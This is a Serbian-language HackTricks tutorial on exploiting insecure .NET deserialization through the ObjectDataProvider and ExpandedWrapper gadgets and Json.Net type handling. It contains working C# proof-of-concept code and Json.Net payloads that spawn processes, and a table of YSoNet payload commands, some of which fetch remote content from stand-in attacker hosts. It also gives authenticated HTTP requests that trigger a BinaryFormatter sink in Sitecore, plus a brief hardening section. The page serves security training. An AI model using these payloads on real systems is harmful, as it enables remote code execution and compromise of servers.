Osnovna .Net deserializacija (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ovaj članak je posvećen razumevanju kako se gadget ObjectDataProvider iskorišćava da bi se dobio RCE i kako se Serialization biblioteke Json.Net i xmlSerializer mogu zloupotrebiti sa tim gadgetom.
ObjectDataProvider Gadget
Iz dokumentacije: klasa ObjectDataProvider obavija i kreira objekat koji možete koristiti kao binding source.
Da, objašnjenje je čudno, pa hajde da vidimo šta ta klasa ima interesantno: Ova klasa omogućava da omotate proizvoljan objekat, koristite MethodParameters da postavite proizvoljne parametre, i zatim upotrebite MethodName da pozovete proizvoljnu funkciju proizvoljnog objekta deklarisanog pomoću tih parametara.
Dakle, proizvoljni object će izvršiti funkciju sa parametrima tokom deserializacije.
Kako je to moguće
Namespace System.Windows.Data, koji se nalazi u PresentationFramework.dll na C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, je mesto gde je ObjectDataProvider definisan i implementiran.
Koristeći dnSpy možete pregledati kod klase koja nas zanima. Na slici ispod vidimo kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
Kao što možete primetiti, kada se postavi MethodName
poziva se base.Refresh()
, pogledajmo šta to radi:
Ok, nastavimo da vidimo šta radi this.BeginQuery()
. BeginQuery
je override-ovan od strane ObjectDataProvider
i ovo je šta radi:
Obratite pažnju da na kraju koda poziva this.QueryWorke(null)
. Pogledajmo šta to izvršava:
Primetite da ovo nije kompletan kod funkcije QueryWorker
ali pokazuje interesantan deo: Kod poziva this.InvokeMethodOnInstance(out ex);
— ovo je linija gde se postavljena metoda poziva.
Ako želite da proverite da samo postavljanje MethodName će dovesti do njegovog izvršavanja, možete pokrenuti ovaj kod:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Napomena: potrebno je dodati kao referencu C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll kako bi se učitao System.Windows.Data
ExpandedWrapper
Korišćenjem prethodnog exploita postaće slučajevi gde će object biti deserialized as instanca ObjectDataProvider (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći GetType
). U tom slučaju, neće postojati znanje o tipu objekta koji je upleten u instanci ObjectDataProvider (na primer Process
). Više information about the DotNetNuke vuln here.
Ova klasa omogućava da sodredite tipove objekata koji su enkapsulirani u datoj instanci. Dakle, ova klasa može da se koristi da enkapsulira izvorni objekat (ObjectDataProvider) u novi tip objekta i da obezbedi svojstva koja su nam potrebna (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters).
Ovo je veoma korisno za slučajeve kao onaj prikazan ranije, jer ćemo moći da wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.
Možete proveriti ovaj wrapper pomoću sledećeg koda:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Na official web page je naznačeno da ova biblioteka omogućava da Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Dakle, ako bismo mogli deserialize the ObjectDataProvider gadget, mogli bismo izazvati RCE samo deserijalizacijom objekta.
Json.Net primer
Prvo, pogledajmo primer kako da serialize/deserialize objekat koristeći ovu biblioteku:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abusing Json.Net
Koristeći ysoserial.net napravio sam exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
U ovom kodu možete test the exploit, samo ga pokrenite i videćete da se calc pokreće:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Napredni .NET lanci gadgeta (YSoNet & ysoserial.net)
Tehnika ObjectDataProvider + ExpandedWrapper predstavljena iznad samo je jedan od MNOGIH lanaca gadgeta koji se mogu zloupotrebiti kada aplikacija izvodi nesigurnu .NET deserijalizaciju. Moderni alati za red-team kao što su YSoNet (i stariji ysoserial.net) automatizuju kreiranje spremnih za upotrebu zlonamernih objektnih grafova za desetine gadgeta i formata serijalizacije.
Ispod je sažeti referentni pregled najkorisnijih lanaca isporučenih sa YSoNet zajedno sa kratkim objašnjenjem kako rade i primerima komandi za generisanje payload-ova.
Lanac gadgeta | Ključna ideja / primitiv | Uobičajeni serijalizatori | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Korumpira zapis DelegateSerializationHolder tako da, nakon materializacije, delegat pokazuje na bilo koju metodu koju napadač obezbedi (npr. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Zloupotrebljava System.Workflow.ComponentModel.ActivitySurrogateSelector da zaobiđe .NET ≥4.8 filtriranje tipova i direktno pozove konstruktor zadate klase ili kompajlira C# fajl u letu | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Iskorišćava nasleđenu XML reprezentaciju System.Data.DataSet da instancira proizvoljne tipove popunjavanjem polja <ColumnMapping> / <DataType> (opciono falsifikujući assembly pomoću --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | Na runtime okruženjima sa podrškom za WPF (> .NET 5) ulančava getters svojstava dok ne dosegne System.CodeDom.Compiler.CompilerResults , zatim kompajlira ili učitava DLL prosleđen sa -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (review) | Koristi WPF System.Windows.Data.ObjectDataProvider za pozivanje proizvoljne statičke metode sa kontrolisanim argumentima. YSoNet dodaje praktičnu --xamlurl varijantu za hostovanje zlonamernog XAML-a na daljinu | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Ugradi ScriptBlock u System.Management.Automation.PSObject koji se izvršava kada PowerShell deserijalizuje objekat | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Svi payloads su po defaultu ispisani na stdout, što ih čini trivijalnim za prosleđivanje (pipe) drugim alatima (npr. ViewState generatorima, base64 enkoderima, HTTP klijentima).
Izgradnja / instalacija YSoNet
Ako nema pre-compiled binarnih fajlova dostupnih pod Actions ➜ Artifacts / Releases, sledeći PowerShell jednolinijski komad će podesiti build okruženje, klonirati repozitorijum i kompajlirati sve u Release modu:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe
can then be found under ysonet/bin/Release/
.
Detekcija & Hardening
- Detektujte neočekivane child procese
w3wp.exe
,PowerShell.exe
, ili bilo kog procesa koji deserializuje podatke koje dostavlja korisnik (npr.MessagePack
,Json.NET
). - Omogućite i primenite filtriranje tipova (
TypeFilterLevel
= Full, customSurrogateSelector
,SerializationBinder
, etc.) kad god se legacyBinaryFormatter
/NetDataContractSerializer
ne može ukloniti. - Gde je moguće, migrirajte na
System.Text.Json
iliDataContractJsonSerializer
sa konverterima zasnovanim na whitelisti. - Blokirajte opasne WPF assemblies (
PresentationFramework
,System.Workflow.*
) da se ne učitavaju u web procesima kojima oni nikada ne trebaju.
Praktični sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Praktičan .NET sink dostupan u autentifikovanim Sitecore XP Content Editor tokovima:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
pozivanew BinaryFormatter().Deserialize(...)
. - Trigger path: pipeline
convertToRuntimeHtml
→ConvertWebControls
, koji traži susedni element said="{iframeId}_inner"
i čita atributvalue
koji se tretira kao base64‑kodirani serijalizovani podatak. Rezultat se kastuje u string i umeće u HTML.
Minimalan end‑to‑end (autentifikovano):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: bilo koji BinaryFormatter chain koji vraća string (side‑effects se izvršavaju tokom deserialization). Pogledajte YSoNet/ysoserial.net za generisanje payloads.
Za kompletnu lančanu vezu koja počinje pre‑auth sa HTML cache poisoning u Sitecore i vodi do ovog sinka:
Reference
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.